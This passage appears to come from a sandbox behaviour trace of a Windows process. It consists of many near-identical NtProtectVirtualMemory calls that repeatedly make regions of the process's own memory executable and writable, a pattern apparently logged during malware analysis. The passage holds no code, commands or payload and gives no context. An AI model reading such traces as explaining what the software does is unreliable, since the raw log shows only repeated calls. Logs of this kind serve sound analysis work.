NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.509] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 